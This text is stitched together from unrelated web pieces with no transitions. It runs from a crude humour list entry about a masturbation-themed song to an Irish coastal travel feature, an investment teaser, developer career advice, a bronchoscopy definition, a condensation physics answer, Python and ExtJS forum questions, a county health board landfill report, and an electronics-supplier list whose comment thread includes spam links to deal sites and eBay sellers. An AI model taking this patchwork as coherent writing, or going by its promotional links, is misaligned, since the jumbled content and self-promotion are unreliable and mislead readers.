We're going to sidestep the obvious joke about Lily's age here, and get right down to what everyone's imagining while reading the above lyrics: Pete Townsend doing windmill strums with one arm, with his plonker stretched out in the other. Or are we the only the only ones envisioning this?
#10. "I'm a Wanker"
Renowned throughout the land.
Everybody knows my name,
But nobody wants to shake my hand.
Tom Sizemore aside, seldom do people take such unabashed pride in spanking their dick around. Unlike Mr. Biggun, most of us would define ourselves by our profession or by our religion or as fathers or mothers. Ivor's taken a different tack here and, you know, good for him. But how does he know he's truly the best? Unlike Los Angeles youth karate tournaments or heavyweight boxing matches, rubbing oneself has no official competition or governing body. Ivor sound like he knows what he's doing, but until he proves it in organized competition, CRACKED will have to continue recognizing the monkey in this video as the official champ. We suspect that the Wall Street Journal will take the same position.

At one point or other we've all wanted to escape from it all. But where would we go? We'd go west, of course
When author Rabih Alameddine wrote the words, "I believe one has to escape oneself to discover oneself", most of us knew exactly what he meant.
Because it's easy is to get lost in the muddle of a fast moving world. It's easy to forget the whip of a salty sea wind or the noisy thunder of waves. It's easy to forget that somewhere a warm orange sun is falling behind cliffs and castles, or that lighthouses are keeping a blinking watch over a silvery sea.
Yes, it's easy to forget. But if you want to remember, go west.
Welcome to the Wild Atlantic Way. Welcome to Ireland's newest road odyssey where days begin with smoked salmon in Kinsale, County Cork, and end cracking crab claws in Inishowen, County Donegal.
No place for the faint hearted, this is where even the waves command so much respect they're given their own names. Ask any serious surfer and they'll tell you all about Aileen's. This is a place where souls are saved not just in chapels, but on islands and lakes, too. If you don't believe us, Amazing Grace has the clues.
And while the Wild Atlantic Way might have a softer side (Garinish's Gardens and Fungi's flippers are stand-outs) this is a place where rugged rules.
For folks like Cillian Murphy, that's just the way they like it.
When the Irish Times newspaper began the search for the Best Place to Holiday in Ireland, Cillian Murphy and the proud population of County Clare's Loop Head Peninsula were energised.
They got busy. And they won.
As it turns out, Cillian & Co. had a distinct advantage: Loop Head may well be heaven on earth.
Think a friend might enjoy this article? Click to save and share
And since the peninsula sits approximately half way along the Wild Atlantic Way, there's no better place to start explaining what makes Ireland's west coast so wild and wonderful.
For Cillian, a Loop Head local all his life, the answer rests on the tip of his tongue:
"2,400 miles of uninterrupted ocean swells. No windbreak and no reefs to take the power out of the waves. There's just a wide, wild, open space that allows the Atlantic Ocean to grow and grow before it comes to a sudden stop on our shore."
Importantly, Loop Head's ruggedness isn't some artificial campaign. The liberating rawness is the essence of the place. Cillian again:
"I grew up in a house that my father built about 30 meters from the top of a cliff edge. One of my abiding memories is of winter storms when the Atlantic swell would crash onto the cliffs below the house and the spray would shoot up over the roof. Salt water would sometimes come down the chimney and as kids we were always delighted when it would hiss and crackle in the fire."
Citing "coasteering with Nevsail" as the wildest action to be had on the peninsula, it remains the simple pleasures of Cillian's home that keep the smile on his face:
"Running on the cliff road in Kilkee in the winter after a day inside at work is heaven. There's absolutely nothing like lacing up the trainers and heading out on a windy evening with the rain in your face, running up the cliffs. No music, no company – just yourself and nature at its most elemental."
We can't think of a better place to find yourself. Can you?

5 money-making investment ideas for the new year
|Many stock investors believe 2013 will be their lucky number, but the coming year surely will be much like any other: with geopolitical conflicts and conflicted outlooks that will challenge investors' resolve. MCT
A Wall Street adage says time in the stock market beats timing the market. But in 2012, both of those strategies worked.
Many stock investors believe that 2013 will be their lucky number. They point to a menu of research reports lauding corporate America's relatively strong financial shape and the prospects for the U.S. economy's steady, however slow, growth. By this logic, even holders of low-yielding bonds can expect a steady road for non-government debt, as long as the Federal Reserve holds the line on short-term interest rates.

Freelance and volunteering to help out with non-profits are a great way to learn new skills. You're right, you can only learn so much on your own. When you're under the gun, you learn a LOT more. Bonus points if you can find a place with a knowledgeable, patient mentor who will guide you and suggest improvements to your work.
I worked for several years in light-challenge type jobs where I was on my own to get the job done...then I consulted with an international bank...instant code reviews, change management, strategy meetings, and tight timeframes....I sweated it out for quite a few months before I really got comfortable. Between that and my freelancing (which I often take at a lower cost in exchange for the opportunity to tackle a challenge the RIGHT way rather than the cheap way) I've made huge progress over the last few years. It's a good feeling knowing you know how to kick out "correct" code. Doing it, I might add, still takes discipline.
Also, I can't say enough how important it is to "cross train" I'm lucky in that my degree is in design, but my profession is really development. Cross over to the "darkside" of UI and interaction development, because it's amazing how important it is and how poorly many developers do it. Tackle Jquery or Javascript or the like just to learn. It looks great on a resume.
Good luck.
You could look into stuff like
WebPI and WebMatrix are great tools to know for web devs. CMS's are a very common tool to use when building content oriented websites and XSLT is imho a awesome tech for web development. If you are unfamiliar with XSLT it's basically a transformation that can turn one XML structure (typically describing data) into another XML structure (typically xhtml).
If you want to have a go at all the points above you can get started with WebPI and WebMatrix at http://docs.composite.net/C1/TeamBlog.aspx/2010/08/13/The-WebMatrix-experience and once you have it running you can work with XSLT at http://docs.composite.net/C1/XSLT.aspx.
We would love to get feedback from you on your experience.
Consider getting involved in open source projects. It's invaluable experience - working in teams, networking with peers, challenging yourself by taking on tasks you aren't familiar with, etc. For .NET-related projects, Codeplex is ground zero.
If you can't find the "right" OSS project to join, create one. Even if it's just you working by yourself, re-inventing the same old wheels, putting it out freely into the world will draw attention to it, and draw like-minded peers (and possibly plenty of harsh criticism, but that's useful too) and help pave the way for future projects.
As a bonus, you'll be able to stick it in your portfolio, which you generally won't be able to do as an employee for a company - they own the code, you can't do anything with it. This is huge: I'm in the middle of starting my own consultancy with a lot of holes in my own portfolio, and it stings a little.
Craigslist is a great place to find work local in your area.

A bronchoscopic culture is a laboratory test used to isolate and identify organisms that cause infection in the lungs. In order to perform the culture a sample of lung tissue or secretion from the lung is needed. A bronchoscope (a thin, flexible fiberoptic tube) is often used to obtain the lung tissue sample. Evidence of infection such as abscesses, inflammation, or abnormal secretions may be observed during the procedure.

When some smooth surface (like that of a steel or glass plate) is brought in contact with steam (over e.g. boiling milk) then water is usually seen to condense on that surface not uniformly but as droplets. What are the equations which govern the formation and growth of these droplets ? In particular what role does the geometry of the surface plays in it? Also it is possible to prepare experimental conditions where no droplets are formed but water condenses uniformly ?
It is more about properties of the material and surface roughness/texture, than geometry of the surface on the large scale. There is a nice Wikipedia article on wetting, which you may find useful. In brief, that is the difference in surface tension at liquid-solid ($\gamma_{LS}$), liquid-air ($\gamma_{LA}$), and solid-air ($\gamma_{SA}$) interfaces which define the value of contact angle $\theta=\arccos\left(\left(\gamma_{SA}-\gamma_{LS}\right)/\gamma_{LG}\right)\neq0$, and lead to droplet formation. If the angle is zero, the liquid will tend to cover the whole surface uniformly.
I would suggest you the following well written review articles, by Jens Eggers, who is one of the most renowed and acknowledged researchers on this field:

How to clone a Python generator object?
Suppose I have a generator 'stuff_to_try', I can try them one by one but if I had a method that wanted to go through the generator and that method is recursive, I want to let each recursion get a fresh new generator that starts at the first yield rather than where the last recursion left off.
def solve(something):
if exit_condition(something):
next_to_try = stuff_to_try.next()
while not if_works(next_to_try):
next_to_try = stuff_to_try.next()
Of course I can define stuff_to_try inside the recursive function but is there a better way? Is there an equivalent of stuff_to_try.clone().reset() or something?

text formatting within a ext.window in different browsers
I don't understand why text formatting and layout inside a ext.window looks so different across browsers. I understand that each browser is different. I guess my question is "how do I fix it?" I've played around with inline css styles and just simple html format tags to try and get some spacing between the title in the first tab and the body of the text. Why does the text appear bold in one browser vs the other? It just doesn't make much sense. My attachments are screenshots from IE 7 (top)and FF355 (bottom).
The code for the window comes straight from the EXT JS samples.
- Mike
20 May 2010 5:31 AM #2
I figured out that my code was pointing to an earlier version of the extjs library (2.2.1). The development website I use to test is a shared space and I assumed that the ext js version was the same as the one I was using.

STEUBENVILLE - The Jefferson County Board of Health delayed a decision on the Apex Sanitary Landfill 2013 operating license until the board's legal counsel researches possible legal restrictions regarding a new solidification process at the facility near Amsterdam.
Health Department Administrator Bruce Misselwitz informed the board Tuesday the Ohio Department of Natural Resources and the Ohio Environmental Protection Agency have approved a solidification process at the landfill site that will allow oil drill cuttings to be transported to a new facility where ingredients will be added to the oil well material.
According to Misselwitz, after the drill cuttings go through the solidification process, the end product will be taken to the actual landfill.
"I believe the final product will be OK. What is coming out of the ground is naturally occurring radioactive. The cuttings will be tested at the drill site before it is taken to the landfill for solidification," explained health department Sanitarian Carla Gampola.
"The OEPA is telling us that we have to monitor the solidification process. And the JB Green Team has said they will give us funding for the testing," added Misselwitz.
"The OEPA and Ohio Department of Health were working on this project before we were ever made aware of the solidification project. And I still have concerns. I think an independent company should do the testing at the landfill," said board member Dale Featheringham.
The board agreed to delay a final decision on the 2013 operating license until a later date.
The health board approved 2013 operating licenses for the residual landfills at the Hollow Rock and Cardinal plant landfills.
In other business Tuesday, several board members expressed concerns regarding a possible partnership with the Steubenville Health Department.
"The city health board has sent us a letter requesting discussions on the collaboration of services. We do share services with the city. We also already have a memorandum of understanding to support each other on plumbing and sewer issues. Our nursing divisions also support each other. Steubenville is a charter city with the health department included in their charter. Any agreement between the two health departments has to be done between the District Advisory Council and the City Council," stated Misselwitz.
"I will respond to their letter, but this is unique because it is a charter city. If we consider a consolidation that would require both departments to dissolve and a new health department would be created. There is no short-term answers here. There are also different issues to discuss including the different pay scales and different benefits," Misselwitz added.
"I have questions on how it will affect our department," noted board member John Fabian.
"I don't want us to take on more than we can handle. I am concerned we may take on more than we can handle. And where do the city vendor fees go under a partnership," remarked board member John Abdalla.
Jefferson County Assistant Prosecutor Emanuela Agresta said she will proceed with contempt of court charges against James Wellington and Jennifer St. Clair for maintaining an illegal dump site at their property on state Route 152 in Toronto.
Gampola said she visited the property last week and spoke to St. Clair.
"She could not provide me with any receipts showing they are moving the trash to the Apex landfill," said Gampola.
Misselwitz reported he attended a facility oversight health department and Ohio Environmental Protection Agency Focus meeting Monday in Delaware, Ohio.
"House Bill 592 was discussed and we heard suggestions to the effect all landfill tipping fees should be sent to the local health department and the health department will then share the fees with the local solid waste authority," Misselwitz said.

10 Best Electronics Suppliers
I wanted to make a site with many of the best sites to buy Electrical Parts, because it can sometimes be a strenuous activity. I have 10 here, because if you can't find something on one online store, you might be able to find it on the next.
Reynolds Electronics
Reynolds Electronics is a good supplier of remote control components, micro controllers, and robot kits and parts. One feature that stands out on Reynolds Web site is the clear and helpful project/circuit tutorials. You can also find links for educational books on topics such as robotics and microcontrollers.
Hobby Engineering
Hobby Engineering is a sit slanted towards the hobbyist. This site carries some useful items that can be harder to find from other providers who are catered towards the corporate customer. it also has a good supply of micro-controllers, robot kits, parts, ad miscellaneous components and tools.
All Electronics
All Electronics has an incredible selection of many of the useful items you would use to build your project. They are very inexpensive and it is easy to find your way around the site. This site also has a "consumer comments" section where the consumers get to talk about the quality of the product and more. (Thank you westfw)
BG Micro
BG Micro is a cool site for rare and pretty neat gadgets as well as a nice selection of alot of the items one will need for a weekend project. There is also a very nice search engine at the top which lets you search for an item you can't find on the left. (Thank you Las Vegas)
Jameco Electronics
Jameco has a very nice site catalog. It's not very big that you sspect a forest was sacrificed in its making. I has great color photos with relatively easy to find components. This is one supplier wih a low price fuarantee which means that if you can show a part offered for less, the lesser price is honored. jameco also provides lower priced generic products as well as name brands.
Digi-Key is a large distrbutor of components from various manufacturers, offering a very large catalog with lots and lots of choices. However, the site uses small print that might be hard to ead. The catalog includes line drawings but o part photos, but it does do an excellant job of labeling the parts. Overall, Digi-Key has a huge selection of products, but they might need a little looking to find them.
Mouser Electronics
Mouser Electronics
Another large distributor of components from various manufacturers is Mouser. I like how Mouser's site allows you to compile separate orders for different projects. You can come backa s many times as you like to complete your order and make your purchase. We also like how Mouser label parts because the labels are easy to read and provide alot of information about the specific part.
Like Digi-Key, Mouser provides a very large catalog.
Everyone knows Radioshack!. This electronics convenience store is pretty much like any food convenience store: CONVENIENT BUT EXPENSIVE. If you are stuck at 4:30 on a Sunday afteroon needing a small part to keep working on your project, this store is right for you. Be aware that not all radioshack are equal.
Fry's Electronics
Fry's Electronics
Fry's has stores in nine states, and if you are lucky enough to live near one you can browse the isles in person. Fry's stocks all kinds of electronics and parts including an EXCELLANT selection of IC chips.
Goldmine Electronics
Goldmine Electronics
If you are in the market for bargains, try Electronic Goldmine.. This online store often offers sepcials that can save you money. Based in Scottsdale, Arizona, Electronics Goldmine offers great help with international orders and also offers wholesale items on auction on eBay.
Quick Tip: Try clicking Electronic Goldmine Treasure Ball for the best deals!
Futurelec offers a very nicely done site with color photos of the parts that makes for easy browsin. Futurelec also offers semicnductor news links and also links to recently added parts to help you keep on the top of the latest and greatest as well as PCB design and manufacturing services.
[htpp://maplin.co.uk Maplin]
The British suppplier Maplin has stores scattered around the U.K. and also offers an online store.
Unlike electronic gadgets and appliances that operate on different voltages in European contries, electornic components are pretty standard. Although Maplin will ship overseas, you might want to check out U.S. Suppliers first.
Sparkfun was originally a PCB Manufacturer, and turned in to a company well beyond their expectations! They have a large variety of PCBs, LEDs, and MANY more everyday electronics components. The site is well organized with so much to choose from!
Do you need to be part of a company to order from most of these site or can anyone order from there ? And can anyone tell me where I could find some of these ?
Anyone can order from those stores. By the way that is a C13/C14 coupler. You can find those at almost all electronic component stores. Refrence: https://en.wikipedia.org/wiki/IEC_60320

Tom Woodward
Hi Tom!
I'm in the process of designing a specialty clock that will need small white leds with resistors built in. Not quite at the point yet in design where i can install them yet. But once I get there I will give you another email to discuss further what you have. Thanks for replying!
Anyone know where i can get a large number of white LEDs with resistors built in?
And also check out Thescount.com for coupons and deals.
I always check deals online to buy electronics online and always found best deals at http://ergode.com
I usually check for deals online got some good on deals site for electronics on http://www.dealtractor.com/huge-discounts-on-electronics/ and I have not found any better deals like these.
Reynolds Electronics appears to be no more.
Ive been using core electronics
They are a pretty new online company, but have got lots off cool stuff just for makers. Their customer service is also very good, and you can get a pro maker account which allows you to make a commission on sales.
Beware of Futurlec!
Customer service is very poor. I placed an order a month before I was notified that half of it was out of stock. Subsequently, they have not responded to 3 emails I have sent and I cannot speak to a representative on the phone. It has been 6 weeks and I do not have my order filled yet. I'll never purchase from them again.
I would recommend removing them from your best electronic distributor list.
I need IXYS IGBT part nuber is VKI 50-12P1----------------2NOs.
pls suggest me possible source
This instructable is fully for non-europe based people. Even for the single shop that might be interestig for europe people you are advicing to look at US suppliers.
America is not the only country in the world, people!!
Check for buy electronics online with ergode.com
To get the best electronics for the cheapest prices visit www.rickardtaylorelectronics.com
Add www.chonelectronics.com to the list. I think they're great.
Jaycar.com.au is an awesome place for small hobbies!
Check out AliExpress.com (the little sibling to AliBaba.com). Shipping usually takes a long time (most products come from China), but you can order small quantities of practically anything, including electronics. I've ordered a number of things from different retailers without any issues (besides the wait time).
if radio shack folds, will there still be any bricks n mortar electrnc places?
I am selling on an ebay a few electronic parts. I have some 270ohm 6 pin sip resistors, 619 ohm,1/16W smd resistors, and thousands of small load 2n3906 transistors(Used by Arduino Rasberry Pi ect...). I have several more things to post for sale come monday. 2Watt resistors, 470uf 25v capacitors, ect... if anybody needs any custom lots of what I'm selling, pm me either here or on ebay and I'll make it.
Guess it would help if we had a link to my ebay, but it won't let me. My user id is electronicsmapsmore
I have a new shop, selling "new and surplus electronic components, at hopefully the best prices, stocking relevant components for electronics hobbyists, sort of like your local electronics shop did, before it closed down in the 90's."
We are mostly for customers in the EU, (delivery within a few days and no Import taxes), but will ship worldwide.
I've had pretty good luck with www.ciebookstore.com they are the bookstore for Cleveland Institute of Electronics. They mostly have parts kits for their training courses but they offer help from the instruction staff if you need a question answered.
i make custom part bags
and i can get requested parts for cheap (any quantity and specs)
shipping depends on the final quantity and mainly to usa
if your interested pm me and i will direct you to my ebay page
Maybe not tech specific but there are good components to be found.
Great selection of mechanical, electro-mechanical and electronic products. Nothing but excellent in terms of customer response also.
is also excellent.
Also check out :
Great service, great prices. Cool products.
The awesome Teensy and other stuff.
I would not be an EE if it weren't for DigiKey. Honestly.
Rob from whatisacnc.com
they sit on orders forever despite their advertising to the contrary.
But when (not if) they ship you defective merchandise the response
from them is "hey, it's all surplus stuff. You get what you get." Nice.
I had the misfortune of having the owner pick up the phone
once when I called to inquire on quantity availability of an item.
He essentially barked at me for expecting them to have quantity
stock of the item (even though it was advertised on their website
in quantity) and went on about how they "buy the remains of
companies going down", and quickly ended the call. Nice.
Their shipping "policy" is equally suspect. You pay a surcharge
over the UPS rate and they don't even pack the purchased
items competently. That winds up as shipping damage and you
get to pick up the phone for another cycle of abuse.
Wish I had a more positive experience here but I thought it
was worth sharing with other prospective customers.
I saw this follow up comment.
I suspect they won't be around too much longer. If I wait that long for
incidentals to be shipped I can effectively wait for evilbay sold products
from Chinese vendors -- who incidentally are more willing to work with
the customer in my experience compared to the hostile "customer
service" automatons at EG. But by all means if you are enamoured
with their service, send your money there.
Maybe this is some guy's part time hobby business, but that's totally unacceptable in the internet age. If I order online, I expect the order in the mail within 48 hours with a tracking number emailed to me before the package is handed over to shipping.
BG Micro
Some of the coolest and rarest gadgets at the best prices.
nice collection...
here are my favourites
allelectronics.com (wow its cheap!)
sparkfun.com (amazing community)
pololu.com (not mentioned!)
solarbotics.com (CANADIAN and home of the very awesome Ardweeny)
futurlec.com (super super super cheap)
electronics goldmine (weird place)
alibaba.com (not mentioned, asia based)
mouser (expensive shipping to canada and some items you cant find anywhere else)
digikey (fastest shipping on the planet)
*Be aware that the website is filled with tables and bright colours.
(hah, and I just had to fix my own mistake. Even so, it's only a comment - the article really would do well cleaned up a bit)
But of course, they have modern devices too. Just enter in what you want and they contact you with a quotation for the cost. It's a few more hoops to jump through than Digikey or Mouser, but the prices are fantastic and they have parts no-one else has anymore.
According to the stock status they have between 10 and 100 of them. Dunno how much they'll be. You'll need to request a quote.
I ordered MN32xx-series parts, myself.
This site has two for sale:
34 EUR (Used & Tested) and 38 EUR (Brand New - Unused). Not 80 Euro, but you could make a profit...
